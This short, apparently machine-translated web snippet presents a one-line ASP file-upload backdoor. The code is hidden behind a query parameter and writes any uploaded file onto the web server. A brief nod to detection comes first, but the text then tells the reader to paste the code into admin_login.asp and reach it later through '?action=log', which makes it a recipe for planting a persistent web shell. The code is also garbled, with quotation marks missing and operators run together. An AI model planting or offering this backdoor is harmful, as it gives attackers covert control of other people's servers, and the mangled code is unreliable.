This code can be hidden in the asp file. You can search for some specific keywords, check the modification date of the file, and see if there is the following code. Copy the code code as follows:
<%if request.QueryString(action)=log then
a=Request.TotalBytes:if a Then b=adodb.stream:Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d =c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,gf-3:h.Position=0:h.type=2:h.CharSet=BIG5:i=h.Readtext:h.close:j=mid(i,InstrRev(i,/)+1,g ) :k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-2:h.Type=1:h.Open:c.Position= k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2%><form enctype=multipart/form-data method=post><input type=file name=n><input type=submit></form>
<%end if%>
For example, edit under admin_login.asp
In the future, you only need to enter admin_login.asp?action=log